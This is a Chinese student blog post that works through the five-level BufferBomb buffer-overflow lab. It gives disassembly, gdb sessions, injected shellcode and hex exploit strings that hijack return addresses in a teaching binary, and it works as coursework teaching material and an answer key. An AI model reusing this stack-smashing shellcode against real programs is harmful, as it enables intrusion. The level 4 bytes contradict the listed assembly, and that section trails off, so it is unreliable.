计算机系统基础实验-BufferBomb实验

      之前有人问我能不能放出这个实验课程答案,这是大三第一学期的实验课中的反汇编实验作业,也是从别的博主那里学习的。因为太久以前其实好多知识点都忘了。可以自己去找南京大学的袁春风老师公开课,B站或者中国大学慕课网都有,计算机系的公开课,C语言或者JAVA程序设计,数据结构都推荐浙大翁恺或者哈工大公开课,计算机组成原理推荐南京大学袁春风公开课,操作系统或者计算机网络,自己看王道后看书的。

                                                                                                             


      

 


实验目的与要求

实验目的

1.加深对IA-32函数调用规则和栈结构的具体理解。

2. 对一个可执行程序“bufbomb”实施一系列缓冲区溢出攻击。

3. 设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像,继而执行一些原来程序中没有的行为,例如将给定的字节序列插入到其本不应出现的内存位置等。

 

 

实验原理与内容

实验内容及步骤

对一个可执行程序“bufbomb”实施一系列5个难度递增的缓冲区溢出攻击缓冲区溢出攻击(buffer overflow attacks)——即设法通过造成缓冲区溢出来改变该可执行程序的运行内存映像(栈帧),例如将给定的字节序列插入到其本不应出现的内存位置。5个难度级分别命名为Smoke(level 0)、Fizz(level 1)、Bang(level 2)、Boom(level 3)和Nitro(level 4),其中Smoke级最简单而Nitro级最困难。

5个难度级逐级递增,分别命名为:

Level 0: smoke    (让目标程序调用smoke函数)

Level 1: fizz         (让目标程序使用特定参数调用Fizz函数)

Level 2: bang       (让目标程序调用Bang函数并修改全局变量)

Level 3: boom      (无感攻击,并传递有效返回值)

Level 4: kaboom  (栈帧地址变化时的有效攻击)

需要调用的函数均在目标程序中存在(起始指令地址可知)

每级需根据任务设计构造1个攻击字符串,对目标程序实施缓冲区溢出攻击

 

 
 
bufbomb目标程序在运行时使用如下getbuf函数从标准输入读入一个字符串:

/* Buffer size for getbuf */

int getbuf()

{

    other variables ...;

    char buf[NORMAL_BUFFER_SIZE];

    Gets(buf);

    return 1;

}

/* NORMAL_BUFFER_SIZE是大于等于32的一个常数 */

 

函数Gets

从标准输入读入一个字符串(以换行‘\n’或文件结束end-of-file字符结尾)

将字符串(以null空字符结尾)存入指定的目标内存位置(具有NORMAL_BUFFER_SIZE字节大小的字符数组buf首地址)。

不判断buf数组是否足够大而只是简单地向目标地址复制全部输入字符串,因此有可能超出预先分配的存储空间边界,即缓冲区溢出。

bufbomb程序中,函数getbuf被一个test函数调用:

void test() {

    int val;

    /* Put canary on stack to detect possible corruption */

    volatile int local = uniqueval();

    val = getbuf();

    /* Check for corrupted stack */

    if (local != uniqueval()) {

        printf("Sabotaged!: the stack has been corrupted\n");

    }

    else if (val == cookie) {

            printf("Boom!: getbuf returned 0x%x\n", val);

            validate(3);

        } else {

            printf("Dud: getbuf returned 0x%x\n", val);

        }

}

在getbuf执行完其返回语句(getbuf函数第5行),程序正常情况下应该从test函数的第7行开始继续执行。本实验各阶段的目的是改变该行为。

    本实验的任务就是精心设计输入给bufbomb的字符串(称为“exploit string” 攻击字符串),通过造成缓冲区溢出来完成一些指定的任务。

    关键:确定栈中的哪些数据条目做为攻击目标

    假设攻击字符串包含于文件Solution.txt中,可使用如下命令测试攻击字符串在bufbomb上的运行结果,并与相应难度级的期望输出对比,以验证通过与否。使用如下命令:

linux> cat solution.txt | ./hex2raw | ./bufbomb -u [userid]

其中[userid]为学号尾数,此处10以内的同学请直接输入一位尾数,如3号同学输入3而不是03。

  • 辅助程序hex2raw

    输入目标程序的攻击字符串(exploit string)一般包含地址、指令等可能不属于ASCII可打印字符集合(最高位为0)的字节值,因而无法直接编辑输入。程序hex2raw用于帮助构造攻击字符串。hex2raw从标准输入接收一个字符串,其中。用两个十六进制数字分别表示攻击字符串中一个字节的高、低4个位的值,不同十六进制数字对之间用空格或换行等空白字符分隔。将每个十六进制数字对转为二进制表示的一个攻击字符串中的字节,逐一送往标准输出。hex2raw程序支持C语言风格的块注释以便为攻击字符串添加注释(如下例),不影响字符串的解释与使用,如文本中可以出现以下类型的注释部分不会被辅助程序进行转换。

bf 66 7b 32 78 /* mov $0x78327b66,%edi */

    注意:务必在开始与结束注释字符串的“/*”和“*/”前后保留空白字符以便注释部分被程序正确忽略。攻击字符串中不能在任何中间位置包含值为0x0A的字节——该ASCII代码对应换行符‘\n’,当Gets函数遇到该字节时将认为你意图结束字符串。

    此外,本实验各阶段的正确解答基于进行实验的学生userid生成的cookie值一个cookie是一个由8个16进制数字组成的整数(例如0x1005b2b7),对每一个userid是唯一的。

    makecookie程序生成对应输入参数userid的cookie并送往标准输出,如:

linux> ./makecookie 123456789

0x25e1304b

(此处0x25e1304b即为学号为123456789学生的cookie值,在后续解题过程中会体现出该值的影响)

 

 

  • 攻击字符串输入方式

    可将用于某一级别的攻击字符串(所对应的十六进制数字序列)包含于一文件中。文件中序列格式为:两个16进制值作为一个16进制对,每个16进制对代表一个字节,每个16进制对之间用空格分开,例如“68 ef cd ab 00 83 c0 11 98 ba dc fe”。使用hex2raw程序将代码字符串转化为字节序列并输出,再输入bufbomb目标程序执行攻击。可如下使用管道操作符连接不同程序:

linux> a.txt | ./hex2raw | ./bufbomb –u 23

或者,如下先将攻击字符串对应的raw字节序列存于一个文件中,再使用I/O重定向将其输入给bufbomb目标程序执行攻击:

linux> ./hex2raw < level.txt > level-raw.txt

linux> ./bufbomb -u [userid] < level-raw.txt

 

攻击字符串示例:

b8 4b 30 e1 25       /* mov    $0x25e1304b,%eax */

a3 60 a3 04 08       /* mov    %eax,0x804a360 */

68 6d 88 04 08       /* push   $0x804886d */

c3                           /* ret */

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 /* end of buffer */

20 35 68 55           /* old %ebp */

b7 34 68 55           /* ret address => begin of buffer */

 

    缓冲区溢出攻击的关机是对于栈帧机制的理解。请结合之前的汇编语言知识和由实验练习得到的技能设计自己的攻击字符串并完成实验各个阶段。

实验设备与软件环境

1.Linux操作系统—32位debian

2. gdb调试器和objdump反汇编指令

3. gcc编译器

4. 笔记本

 

实验过程与结果(可贴图)

 

实验Level 0: smoke

任务:构造攻击字符串,使得输入其至bufbomb目标程序后,在getbuf函数执行它的return语句后,不是返回到test函数继续执行,而是转而执行bufbomb程序中如下一个smoke函数的代码:

void smoke()

{

    printf("Smoke!: You called smoke()\n");

    validate(0);

    exit(0);

}

 

注意:攻击字符串可能会同时破坏了与本阶段无关的栈结构部分,但这不会造成问题,因为smoke函数会使程序直接结束。

 

这里是一个溢出显示相应字符串的溢出攻击。

Getbuf(返回值)

Ebp旧的值

 

 

...(省略未知个位置)

 

 

 

 

 

先准备两份文件

$objdump -t bufbomb > buf_table //输出bufbomb的符号表到文本文件buf_table $objdump -d bufbomb > buf_asm //输出bufbomb的汇编代码到文本文件buf_asm

 

 

通过反汇编,我们观察反汇编代码中给出的信息:

08049b77 <getbuf>:

 8049b77: 55                    push   %ebp

 8049b78: 89 e5                 mov    %esp,%ebp

 8049b7a: 83 ec 38              sub    $0x38,%esp

 8049b7d: 83 ec 0c              sub    $0xc,%esp

 8049b80: 8d 45 cd              lea    -0x33(%ebp),%eax

 8049b83: 50                    push   %eax

 8049b84: e8 b9 fa ff ff        call   8049642 <Gets>

 8049b89: 83 c4 10              add    $0x10,%esp

 8049b8c: b8 01 00 00 00        mov    $0x1,%eax

 8049b91: c9                    leave  

 8049b92: c3                    ret    

 

在 8049b80处,我们看到这个函数是将一串字符直接在ebp-0x33处开始装入信息,那么那么从下标为0处开始,每一个内存单元装4个字节,总共装了0x33也就是51个字节。然后到达ebp处还需要4个字节。也就是从ebp-0x33到达ebp需要55个字节进行填充,然后在需要一个新的地址冲掉getbuf()函数引导到smoke()处进行输出。

我们可以在一个新建的文本中(随意命名a.txt)放入内容,其中前面的55个字节是什么不重要,随意输入,只需要让Smoke的起始地址将Getbuf()函数冲掉:

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 d1 93 04 08

(在反汇编中得到smoke的首地址,而且我的电脑是以小端方式存放。)

 

 

 

 

 

在输入指令后得到正确响应

 

 

  cat a.txt |./hex2raw |./bufbomb –u 23

 

 

实验Level 1: fizz

任务:构造攻击字符串,使得输入其至bufbomb目标程序后,在getbuf函数执行它的return语句后,转而执行bufbomb程序中如下一个fizz函数的代码:

不同于Level 0,fizz函数需要一个输入参数,本级别要求设法将使用makecookie得到的cookie值提供给fizz函数访问

void fizz(int val)

{

    if (val == cookie) {

        printf("Fizz!: You called fizz(0x%x)\n", val);

        validate(1);

    } else

        printf("Misfire: You called fizz(0x%x)\n", val);

    exit(0);

}

 

本题原函数中的语句,其中需要我们存入一个cookie值,也就是我们的学号,,比较正确后输出响应的语句,也就是我们学号的唯一cookie值,此前已经先得到学号尾数23对应的唯一值如下:

mydebian@Mydebian:~/23$ ./makecookie 23                 

0x74bd4637

再观察fizz对应的反汇语言:

080493fe <fizz>://这里为起始地址,需要重新输入到溢出区

 80493fe: 55                    push   %ebp

 80493ff: 89 e5                 mov    %esp,%ebp

 8049401: 83 ec 08              sub    $0x8,%esp

 8049404: 8b 55 08              mov    0x8(%ebp),%edx//这为放入val的值,准备进入比较.

 8049407: a1 60 d1 04 08        mov    0x804d160,%eax

 804940c: 39 c2                 cmp    %eax,%edx

 804940e: 75 22                 jne    8049432 <fizz+0x34>//学号与val比较不相等则跳转。

 8049410: 83 ec 08              sub    $0x8,%esp

 8049413: ff 75 08              pushl  0x8(%ebp)

 8049416: 68 23 b0 04 08        push   $0x804b023

 804941b: e8 40 fc ff ff        call   8049060 <printf@plt>

 8049420: 83 c4 10              add    $0x10,%esp

 8049423: 83 ec 0c              sub    $0xc,%esp

 8049426: 6a 01                 push   $0x1

 8049428: e8 c7 08 00 00        call   8049cf4 <validate>

 

回到输入文本a中,此时需要修改溢出区的值为fizz的起始值:080493fe  :

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 fe 93 04 08 00   //跳转到fizz再比较学号是否准确

00 00 00 37 46 bd 74

由于在EBP+8的位置开始存放cookie 的值,也就是说,需要cookie的值占了8个字节。而且同样是以小端存放。注意起始地址从红色字体开始才是输入val的。

在输入相应的值后得到正确响应

 

 

 

同时如果进入fizz但是学号出错则没有最下面的两句如下图(当我用大端方式存放,同样得到响应):

 

 

 

 

实验Level 2: bang

任务:构造攻击字符串,使得输入其至bufbomb目标程序后,在getbuf函数执行它的return语句后,转而执行bufbomb程序中如下一个bang函数的代码:

 

int global_value = 0;

void bang(int val)

{

    if (global_value == cookie) {

        printf("Bang!: You set global_value to 0x%x\n", global_value);

        validate(2);

    } else

        printf("Misfire: global_value = 0x%x\n", global_value);

    exit(0);

}

 

技术路线:在攻击字符串中包含实际的机器指令,并构造攻击字符串将原返回地址指针改写为位于栈上的攻击机器指令的开始地址。执行ret指令时,程序将开始执行攻击代码而不是返回上层函数——可使被攻击程序做任何事。通过攻击字符串放置到栈上的代码称为攻击代码(exploit code)

 

难点:必须设法将攻击(机器指令)代码置入栈中且将返回地址指针指向代码起始位置

提示:攻击代码应首先将全局变量global_value设置为对应userid的cookie值,再将bang函数的地址压入栈中,然后执行一条ret指令从而跳至bang函数的代码执行

通过GDB调试得到eax的绝对存放地址,断点则是在getbuf()中得到eax的地址。 08049b77 <getbuf>:

 8049b77: 55                    push   %ebp

 8049b78: 89 e5                 mov    %esp,%ebp

 8049b7a: 83 ec 38              sub    $0x38,%esp

 8049b7d: 83 ec 0c              sub    $0xc,%esp

 8049b80: 8d 45 cd              lea    -0x33(%ebp),%eax

 8049b83: 50                    push   %eax

 8049b84: e8 b9 fa ff ff        call   8049642 <Gets>

(gdb) b *0x8049b83

Breakpoint 1 at 0x8049b83

(gdb) r 123456789 -u 23

(gdb) p /x $eax

$1 = 0x5568342d

这里得到eax的地址是0x5568342d,也是字符串的绝对存放地址。

0804d168 g     O .bss 00000004              global_value

 

函数外的global_value是一个全局变量初始化为0,进入bang()函数后需要对global_value进行赋值,让它和cookie的值相等,同时也需要将我学号赋值给cookie,可是发现global_value的基址为0x0804d168,跟bang()的EBP=0x804944f的距离相差较大,无法覆盖到我们需要覆盖的地方,这时需要写入一段代码来达到目的。

Bang()反汇编代码如下:

0804944f <bang>:

 804944f: 55                    push   %ebp//bang起始地址804944f

 8049450: 89 e5                 mov    %esp,%ebp

 8049452: 83 ec 08              sub    $0x8,%esp

 8049455: a1 68 d1 04 08        mov 0x804d168,%eax //存放global_valu的地址

 804945a: 89 c2                 mov    %eax,%edx

 804945c: a1 60 d1 04 08        mov    0x804d160,%eax//存放cookie的地址。

 8049461: 39 c2                 cmp    %eax,%edx

 8049463: 75 25                 jne    804948a <bang+0x3b>

 8049465: a1 68 d1 04 08        mov    0x804d168,%eax

 804946a: 83 ec 08              sub    $0x8,%esp

 804946d: 50                    push   %eax

 804946e: 68 64 b0 04 08        push   $0x804b064

 8049473: e8 e8 fb ff ff        call   8049060 <printf@plt>

 

 

新建cbang.s文件,修改代码如下:

mov 0x804d160, %eax      //把cookie赋给%eax

mov %eax, 0x804d168      //把%eax中的cookie赋给global_value

push $0x804944f         //bang()地址入栈

ret                      //返回,跳到bang()

              

有了代码,把它编译成目标文件,再用objdump -d 反汇编回来就能得到相应的机器码。

 

查看cbang_asm中的内容,如下:

cbang.o:     file format elf32-i386

Disassembly of section .text:

00000000 <.text>:

   0: a1 60 d1 04 08        mov    0x804d160,%eax

   5: a3 68 d1 04 08        mov    %eax,0x804d168

   a: 68 4f 94 04 08        push   $0x804944f

   f: c3                    ret    

将机器码直接放进输入文本中得到

a1 60 d1 04 08 a3 68 d1 04 08

68 4f 94 04 08 c3 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 2d 34 68 55  //这里是eax存放字符串的绝对地址

在保存文本后调试得到测试通过。

 

 

 

 

 

 

实验Level 3: boom

前几个级别的攻击在使程序跳转到其他函数后将立即结束程序的运行,因此使用攻击字符串破坏、改写栈中原有内容可以接受。更高明的缓冲区溢出攻击在执行攻击代码后,仍然使程序返回到原来的调用函数(例如test)继续执行——即使得调用函数(或程序用户)感觉不到攻击行为,攻击者必须:

1)将攻击机器代码置入栈中

2)设置return指针指向该代码的起始地址

3)还原(清除)对栈状态的任何破坏

任务:构造攻击字符串,使得输入其至bufbomb目标程序后,getbuf函数将cookie值返回给test函数,而不是返回值1。还原任何被破坏的栈帧状态,将正确返回地址压入栈中,并执行ret指令从而真正返回到test函数。

先找到test的 反汇编代码:

080494aa <test>:

 80494aa: 55                    push   %ebp

 80494ab: 89 e5                 mov    %esp,%ebp

 80494ad: 83 ec 18              sub    $0x18,%esp

 80494b0: e8 4c 04 00 00        call   8049901 <uniqueval>

 80494b5: 89 45 f0              mov    %eax,-0x10(%ebp)

 80494b8: e8 ba 06 00 00        call   8049b77 <getbuf>

 80494bd: 89 45 f4              mov    %eax,-0xc(%ebp)

 80494c0: e8 3c 04 00 00        call   8049901 <uniqueval>

 

如果从getbuf中正常返回test()则从80494b5处继续执行。我们依旧用level2中的方法通过ret跳回test执行。代码如下:

mov $0x74bd4637,%eax            //把我们的cookie值赋给%eax

mov $0x55683480,%ebp            //恢复test()的%ebp

push $0x80494bd                 //推立即数0x80494bd 入栈

ret

要还原栈帧,我们必须知道在调用getbuf()之前的原始ebp的值,这里使用gdb调试来获取,可以在<80494b8>(准备进入getbuf函数)设置断点,然后查看进入getbuf之前的%ebp寄存器值,这里我们得到的旧的ebp的值为<0x55683480>,如下

(gdb) b *0x80494b8//在test()的0x80494b8 call <getbuf>设置断点

Breakpoint 1 at 0x80494b8

(gdb) r -u 23 

Starting program: /home/mydebian/23/bufbomb -u 23

Userid: 23

Cookie: 0x74bd4637

Breakpoint 1, 0x080494b8 in test ()

(gdb) i r $ebp //查看ebp原来的值

ebp            0x55683480          0x55683480 <_reserved+1029248>

 

现在继续按照level2的步骤中一样,

mydebian@Mydebian:~/23$ gcc -m32 -c ctest.s

mydebian@Mydebian:~/23$ objdump -d ctest.o > test_asm

 

得到的test_asm的机器码内容如下:

ctest.o:     file format elf32-i386

Disassembly of section .text:

00000000 <.text>:

   0: b8 37 46 bd 74        mov    $0x74bd4637,%eax

   5: bd 80 34 68 55        mov    $0x55683480,%ebp

   a: 68 bd 94 04 08        push   $0x80494bd

   f: c3                    ret    

 

输入如下内容:

b8 37 46 bd 74 bd 80 34 68 55

68 bd 94 04 08 c3 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 2d 34 68 55    //这里是eax的绝对值地址,没有变。

 

测试通过。

 

 

 

 

实验Level 4: kaboom

背景:一个给定函数的栈帧的确切内存地址通常随程序运行实例的不同而不同。之前级别实验中getbuf具有固定的栈帧地址(不随不同运行实例而不变)。本实验级别在调用testn函数前会在栈上分配一随机大小的内存块,因此testn函数及其所调用的getbufn函数的栈帧起始地址在每次运行程序时具有一个随机的、不固定的值。

注意:本级别运行bufbomb程序时需如下指定“-n”命令行开关( Nitro模式):

linux> cat kaboom.txt | ./hex2raw -n | ./bufbomb -n -u 123456789

bufbomb使用输入攻击字符串连续执行5次getbufn函数(每次采用不同的栈偏移位置),程序每次均能返回cookie值才算成功。

 

任务:构造攻击字符串,使得输入其至bufbomb目标程序后,getbufn函数返回cookie值至testn函数,而不是返回值1。复原/清除所有被破坏的状态,将正确的返回位置压入栈中,并执行ret指令以返回testn函数。

注意:getbufn函数中缓冲区扩大到512字节以上,以方便构造更可靠的攻击代码

 

本级要使用./bufbomb的-n参数,bufbomb调用testn(),testn()又调用getbufn().本级的任务是使getn返回cookie给testn()。

先观察testn()的头几行反汇编代码:

08049524 <testn>:

 8049524: 55                    push   %ebp

 8049525: 89 e5                 mov    %esp,%ebp

 8049527: 83 ec 18              sub    $0x18,%esp

 804952a: e8 d2 03 00 00        call   8049901 <uniqueval>

 804952f: 89 45 f0              mov    %eax,-0x10(%ebp)

 8049532: e8 5c 06 00 00        call   8049b93 <getbufn>

 8049537: 89 45 f4              mov    %eax,-0xc(%ebp)

可以知道%esp=%ebp-0x18

建立文件cgetbufn.s:

mov 0x804d160, %eax       //将cookie写入%eax,作为getbufn返回值

lea 0x18(%esp), %ebp        //%ebp=%esp+0x18,恢复%ebp

push 0x8049537          //返回到testn中call <getbufn>下一句

ret                     

然后输入命令:

mydebian@Mydebian:~/23$ gcc -m32 -c cgetbufn.s

mydebian@Mydebian:~/23$ objdump -d cgetbufn.o >cgetbufn_asm

 

得到cgetbufn_asm如下:

cgetbufn.o:     file format elf32-i386

Disassembly of section .text:

00000000 <.text>:

   0: b8 37 46 bd 74        mov    $0x74bd4637,%eax

   5: 8d 6c 24 18           lea    0x18(%esp),%ebp

   9: 68 37 95 04 08        push   $0x8049537

   e: c3                    ret   

 

testn()的反汇编代码如下:

08049b93 <getbufn>:

 8049b93: 55                   push   %ebp

 8049b94: 89 e5                 mov    %esp,%ebp

 8049b96: 81 ec b8 02 00 00     sub    $0x2b8,%esp

 8049b9c: 83 ec 0c              sub    $0xc,%esp

 8049b9f: 8d 85 55 fd ff ff         lea    -0x2ab(%ebp),%eax

 8049ba5: 50                   push   %eax

 8049ba6: e8 97 fa ff ff          call   8049642 <Gets>

 8049bab: 83 c4 10              add    $0x10,%esp

 8049bae: b8 01 00 00 00        mov    $0x1,%eax

 8049bb3: c9                    leave  

 8049bb4: c3                    ret  

观察test()中的标紫色内容可知,写入字符串的首地址为%ebp-0x2ab,即需要填充

0x4+0x2ab = 0x2af = 687个字节。

在gdb中进行调试发现。

 

(gdb)  b *0x8049ba5

Breakpoint 1 at 0x8049ba5

(gdb) r 111 -n -u 23//111为随意输入用于测试的字符串

Starting program: /home/mydebian/23/bufbomb 111 -n -u 23

Userid: 23

Cookie: 0x74bd4637‘\n’Breakpoint 1, 0x08049ba5 in getbufn ()

(gdb) p /x $ebp -0x2ab

$1 = 0x556831b5    

(gdb) c

Continuing.

Type string:aa‘\n’Dud: getbufn returned 0x1

Better luck next time‘\n’Breakpoint 1, 0x08049ba5 in getbufn ()

(gdb) p /x $ebp -0x2ab

$2 = 0x55683175

(gdb) p /x $ebp -0x2ab

$3 = 0x55683175     

(gdb) c

Continuing.

Type string:a‘\n’Dud: getbufn returned 0x1

Better luck next time‘\n’Breakpoint 1, 0x08049ba5 in getbufn ()

(gdb) p /x $ebp -0x2ab

$4 = 0x556831c5    

(gdb) c

Continuing.

Type string:aaa‘\n’Dud: getbufn returned 0x1

Better luck next time ‘\n’Breakpoint 1, 0x08049ba5 in getbufn ()

(gdb) p /x $ebp -0x2ab

$5 = 0x556831c5    //需要大于0x556831c5 那就直接取这个数。  

(gdb) c

Continuing.

Type string:aaa ‘\n’Dud: getbufn returned 0x1

Better luck next time ‘\n’ Breakpoint 1, 0x08049ba5 in getbufn ()

(gdb) p /x $ebp -0x2ab

$6 = 0x55683165     

(gdb) c

Continuing.

Type string:a‘\n’Dud: getbufn returned 0x1

Better luck next time ‘\n’ [Inferior 1 (process 4092) exited normally]

(gdb) p /x $ebp -0x2ab

No registers.//到这里不能再继续进行地址查看了。

 

 

 

 

输入以下字符串:

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

//100个字节

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

//200个字节   

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

//300个字节

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

//400个字节

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

//500个字节

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

//600个字节

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00 00 00 00 00 b8 60 d1 04 08 8d 6c 24

28 68 37 95 04 08 c3 c5 31 68 55

//691个字节

 

 cat a.txt | ./hex2raw | ./bufbomb -u 23

 

 

 

 

 

(gdb) b *0x8049b9f

Breakpoint 1 at 0x8049b9f

(gdb) r -n -u 23

Starting program: /home/mydebian/23/bufbomb -n -u 23

Userid: 23

Cookie: 0x74bd4637

 

Breakpoint 1, 0x08049b9f in getbufn ()

(gdb) p /x $ebp -0x2ab

$1 = 0x556831b5

(gdb) c

Continuing.

Type string:aaa

Dud: getbufn returned 0x1

Better luck next time

 

Breakpoint 1, 0x08049b9f in getbufn ()

(gdb) p /x $ebp -0x2ab

$2 = 0x55683175

(gdb) c

Continuing.

Type string:aaa

Dud: getbufn returned 0x1

Better luck next time

 

Breakpoint 1, 0x08049b9f in getbufn ()

(gdb) p /x $ebp -0x2ab

$3 = 0x556831c5     

(gdb) c

Continuing.

Type string:aaa

Dud: getbufn returned 0x1

Better luck next time

 

Breakpoint 1, 0x08049b9f in getbufn ()

(gdb) p /x $ebp -0x2ab

$4 = 0x556831c5     

(gdb) c

Continuing.

Type string:aaa

Dud: getbufn returned 0x1

Better luck next time

 

Breakpoint 1, 0x08049b9f in getbufn ()

(gdb) p /x $ebp -0x2ab

$5 = 0x55683165    

 

 

 

 

 

 

 

 

操作异常问题与解决方案

 

实验总结

 

   

 

 

 

 

 

 

 

 

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值